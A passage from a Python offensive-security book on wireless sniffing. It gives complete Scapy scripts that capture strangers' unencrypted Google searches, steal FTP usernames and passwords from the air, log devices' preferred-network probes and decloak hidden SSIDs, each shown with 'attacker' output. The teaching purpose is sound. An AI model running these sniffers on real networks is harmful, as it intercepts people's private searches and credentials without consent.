Authors: TJ O'Connor
You might notice that the Google search engine provides near instant feedback as you type into the search bar. Depending on the speed of your Internet connection, your browser may send an HTTP GET request after almost nearly every key input to the search bar. Examine the following HTTP GET to Google: here, I searched for the string “what is the meaning of life?” Out of my own paranoia, I have scrubbed out a lot of the additional advanced search parameters in the URL, but notice that the search begins with a
q=
followed by the search string and terminating with an ampersand. The string
pq=
followed indicates a previous search.
GET /s?hl=en&cp=27&gs_id=58&xhr=t&q=what%20is%20the%20meaning%20of%20life&pq=the+number+42&<..SNIPPED..> HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22
<..SNIPPED..>
Tips and Tools
Google URL Search Parameters
The Google Search URL Parameters provide quite a wealth of additional information. This information may prove rather useful in building your Google Key Logger. Parsing out the query, previous query, language, specific phrase search for, file type or restricted site all can add additional value to our Key Logger. Visit the Google document at
http://www.google.com/cse/docs/resultsxml.html
for additional information about the Google URL Search parameters.
q= | Query, what was typed in the search box |
pq= | Previous query, the query prior to the current search |
hl= | Language, default en[glish] defaults, but try xx-hacker for fun |
as_epq= | Exact phrase |
as_filetype= | File format, restrict to a specific file type such as .zip |
as_sitesearch= | Restrict to a specific site such as www.2600.com |
With this knowledge of Google’s URL parameters in hand, let’s quickly construct a wireless packet sniffer that prints searches in real time as we intercept them. This time we will use a function called
findGoogle()
to handle sniffed packets. Here we will copy the data contents of the packet to a variable named payload. If this payload contains an HTTP GET, we can construct a regular expression to find the current Google search string. Finally, we will clean up the resulting string. HTTP URLs cannot contain any blank characters. To avoid this issue, the web browser encodes spaces as + or %20 symbols on the URL. To correctly translate the message, we must encode any + or %20 symbols with blank characters.
def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if ‘GET’ in payload:
if ‘google’ in payload:
r = re.findall(r’(?i)\&q=(.∗?)\&’, payload)
if r:
search = r[0].split(‘&’)[0]
search = search.replace(‘q=’, ’’).\
replace(‘+’, ‘ ‘).replace(‘%20’, ‘ ‘)
print ‘[+] Searched For: ‘ + search
Putting our entire Google sniffer script together, we can now observe Google searches as they occur live. Notice that we can now use the sniff() function to filter for both TCP and only port 80 traffic. Although Google does provide the ability to send HTTPS traffic on port 443, capturing this traffic is useless because it contains an encrypted payload. Thus, we will only capture the HTTP traffic on TCP Port 80.
import optparse
from scapy.all import ∗
def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if ‘GET’ in payload:
if ‘google’ in payload:
r = re.findall(r’(?i)\&q=(.∗?)\&’, payload)
if r:
search = r[0].split(‘&’)[0]
search = search.replace(‘q=’, ’’).\
replace(‘+’, ‘ ‘).replace(‘%20’, ‘ ‘)
print ‘[+] Searched For: ‘ + search
def main():
parser = optparse.OptionParser(‘usage %prog -i ‘+\
‘
parser.add_option(‘-i’, dest=’interface’, \
type=’string’, help=’specify interface to listen on’)
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface
try:
print ‘[∗] Starting Google Sniffer.’
sniff(filter=’tcp port 80’, prn=findGoogle)
except KeyboardInterrupt:
exit(0)
if __name__ == ‘__main__’:
main()
Firing up the sniffer within range of someone using an unencrypted wireless connection, we see that person searching for “what is the meaning of life?” This proves a trivial search, as anyone who has ever read
The Hitchhiker’s Guide to the Galaxy
knows the number 42 explains the meaning of life (
Adams, 1980
).While intercepting Google traffic may prove embarrassing, the next section examines a means for intercepting user credentials—which can prove more damaging to the overall security posture of an organization.
attacker# python googleSniff.py –i mon0
[∗] Starting Google Sniffer.
[+] W
[+] What
[+] What is
[+] What is the mean
[+] What is the meaning of life?
From The Trenches
Google Street View Epic Fail
In 2010, allegations came to light that Google Street View vehicles that recorded street view images also recorded wireless packets from unencrypted wireless networks. Google created a software application software called gslite. An independent software review revealed that gslite, in conjunction with an open source network and a packet-sniffing program, did capture data (
Friedberg, 2010
).
Although not recorded with malicious intent, this data contained GPS location information. Additionally, the recorded data contained MAC addresses and SSIDs of nearby devices (
Friedberg, 2010
).This provided the data owners with quite a bit of personal information tagged directly to the physical locations of the victims. Multiple government entities from the US, France, Germany, India and others filed lawsuits for breaches of privacy. As we create programs to record data, we must ensure we check local state, federal, and national laws concerning sniffing data (have I said that enough in this chapter?).
The File Transfer Protocol (FTP) lacks any encryption means to protect user credentials. An attacker can easily intercept these credentials when a victim transmits them over an unencrypted network. Take a look at the following tcpdump that shows the intercepted user credentials (USER root / PASS secret). The File Transfer Protocol exchanges these credentials in plaintext over the wire.
attacker# tcpdump -A -i mon0 ‘tcp port 21’
E..(..@[email protected]..._...........R.=.|.P.9.....
20:54:58.388129 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 1:17, ack 63, win 14600, length 16
E..8..@[email protected]..._...........R.=.|.P.9.....USER root
20:54:58.388933 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [.], ack 112, win 14600, length 0
E..(..@[email protected]..._...........R.=.|.P.9.....
20:55:00.732327 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 17:33, ack 112, win 14600, length 16
E..8..@[email protected]..._...........R.=.|.P.9.....PASS secret
To intercept these credentials, we will look for two specific strings. The first string contains USER followed by the username. The second string contains PASS followed by the password. As we saw in the tcpdump, the data (or load, as Scapy refers to it) field of the TCP packet contains these credentials. We will draft two quick regular expressions to catch this information, and we will strip the destination IP address from the packet as well. The username and password are worthless without the address of the FTP server.
from scapy.all import ∗
def ftpSniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf(‘%Raw.load%’)
user = re.findall(‘(?i)USER (.∗)’, raw)
pswd = re.findall(‘(?i)PASS (.∗)’, raw)
if user:
print ‘[∗] Detected FTP Login to ‘ + str(dest)
print ‘[+] User account: ‘ + str(user[0])
elif pswd:
print ‘[+] Password: ‘ + str(pswd[0])
Putting our entire script together, we can sniff for TCP traffic only on TCP port 21. We will also add some option parsing to allow us to choose which network adapter to use for our sniffer. Running this script allows us to intercept FTP logons similar to the tool used by the Wall of Sheep.
import optparse
from scapy.all import ∗
def ftpSniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf(‘%Raw.load%’)
user = re.findall(‘(?i)USER (.∗)’, raw)
pswd = re.findall(‘(?i)PASS (.∗)’, raw)
if user:
print ‘[∗] Detected FTP Login to ‘ + str(dest)
print ‘[+] User account: ‘ + str(user[0])
elif pswd:
print ‘[+] Password: ‘ + str(pswd[0])
def main():
parser = optparse.OptionParser(‘usage %prog ‘+\
‘-i
parser.add_option(‘-i’, dest=’interface’, \
type=’string’, help=’specify interface to listen on’)
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface
try:
sniff(filter=’tcp port 21’, prn=ftpSniff)
except KeyboardInterrupt:
exit(0)
if __name__ == ‘__main__’:
main()
Running our script, we detect a logon to an FTP server and display the user credentials used to log on to the server: we now have an FTP credential sniffer in fewer than 30 lines of Python code. While user credentials can provide us access to a network, we will use Wireless sniffing in the next section to examine a user’s past history.
attacker:∼# python ftp-sniff.py -i mon0
[∗] Detected FTP Login to 192.168.211.1
[+] User account: root\r\n
[+] Password: secret\r\n
A few years back I taught a class on wireless security. I disabled the normal wireless network in the room so the students would pay attention, but also to prevent them from hacking any unintended victims. A few minutes prior to class I started a wireless network scanner as part of a class demonstration. I noticed something interesting: several clients in the room probed for their preferred networks in an attempt to make a connection. One particular student had just arrived back from Los Angeles. His computer probed for LAX_Wireless and Hooters_WiFi. I made an off-hand joke, asking if the student had enjoyed his layover at LAX and if he had stopped off at the Hooters Restaurant on his trip. He was amazed: how did I know this information?
In an attempt to provide seamless connectivity, your computer and phone often keep a preferred network list, which contains the names of wireless networks you have successfully connected to in the past. Either when your computer boots up or after disconnecting from a network, your computer frequently sends 802.11 Probe Requests to search for each of the network names on that list.
Let’s quickly write a tool to detect 802.11 probe requests. In this example, we will call our packet handling function
sniffProbe().
Notice that we will sort out
only 802.11 Probe Requests by asking the packet if it
haslayer(Dot11ProbeReq).
If the request contains a new network name, we can print the network name to the screen.
from scapy.all import ∗
interface = ‘mon0’
probeReqs = []
def sniffProbe(p):
if p.haslayer(Dot11ProbeReq):
netName = p.getlayer(Dot11ProbeReq).info
if netName not in probeReqs:
probeReqs.append(netName)
print ‘[+] Detected New Probe Request: ‘ + netName
sniff(iface=interface, prn=sniffProbe)
We can now start up our script to see Probe Requests from any nearby computers or phones. This allows us to see the names of the networks on the preferred network lists of our clients.
attacker:∼# python sniffProbes.py
[+] Detected New Probe Request: LAX_Wireless
[+] Detected New Probe Request: Hooters_WiFi
[+] Detected New Probe Request: Phase_2_Consulting
[+] Detected New Probe Request: McDougall_Pizza
While most networks advertise their network name (BSSID), some wireless networks use a hidden SSID to protect discovery of the network name. The Info field in the 802.11 Beacon Frame typically contains the name of the network. In hidden networks, the access point leaves this field blank. Detecting a hidden network proves rather easy, then, because we can just search for 802.11 Beacon frames with blank info fields. In the following example, we will search for these frames and print out the MAC address of the wireless access point.
def sniffDot11(p):
if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == ’’:
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hiddenNets:
print ‘[-] Detected Hidden SSID: ‘ +\
‘with MAC:’ + addr2
While the access point leaves the info field blank during the 802.11 Beacon Frame, it does transmit the name during the Probe Response. A Probe Response typically occurs after a client sends a Probe Request. To discover the hidden name, we must wait for a Probe Response that matches the same MAC address as our 802.11 Beacon frame. We can wrap this together in a short Python script using two arrays. The first,
hiddenNets
, keeps track of the unique MAC addresses for the hidden networks that we have seen. The second array,
unhiddenNets
, keeps track of networks we have decloaked. When we detect an 802.11 Beacon Frame with an empty network name, we can add it to our array of hidden networks. When we detect an 802.11 Probe Response, we will extract the network name. We can check the hiddenNets array to see if it contains this value, and the unhiddenNets to ensure it does
not
contain this value. If both conditions prove true, we can parse out the network name and print it to the screen.
import sys
from scapy.all import ∗
interface = ‘mon0’
hiddenNets = []
unhiddenNets = []
def sniffDot11(p):
if p.haslayer(Dot11ProbeResp):
addr2 = p.getlayer(Dot11).addr2
if (addr2 in hiddenNets) & (addr2 not in unhiddenNets):
netName = p.getlayer(Dot11ProbeResp).info
print ‘[+] Decloaked Hidden SSID: ‘ +\
netName + ‘ for MAC: ‘ + addr2
unhiddenNets.append(addr2)
if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == ’’:
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hiddenNets:
print ‘[-] Detected Hidden SSID: ‘ +\
‘with MAC:’ + addr2
hiddenNets.append(addr2)
sniff(iface=interface, prn=sniffDot11)
Running our hidden SSID decloaker script, we can see that it correctly identifies a hidden network and decloaks the name, all in less than 30 lines total
of code! Exciting! In the next section, we will transition to an active wireless attack—namely forging packets to takeover an unmanned aerial vehicle.
attacker:∼# python sniffHidden.py
[-] Detected Hidden SSID with MAC: 00:DE:AD:BE:EF:01
[+] Decloaked Hidden SSID: Secret-Net for MAC: 00:DE:AD:BE:EF:01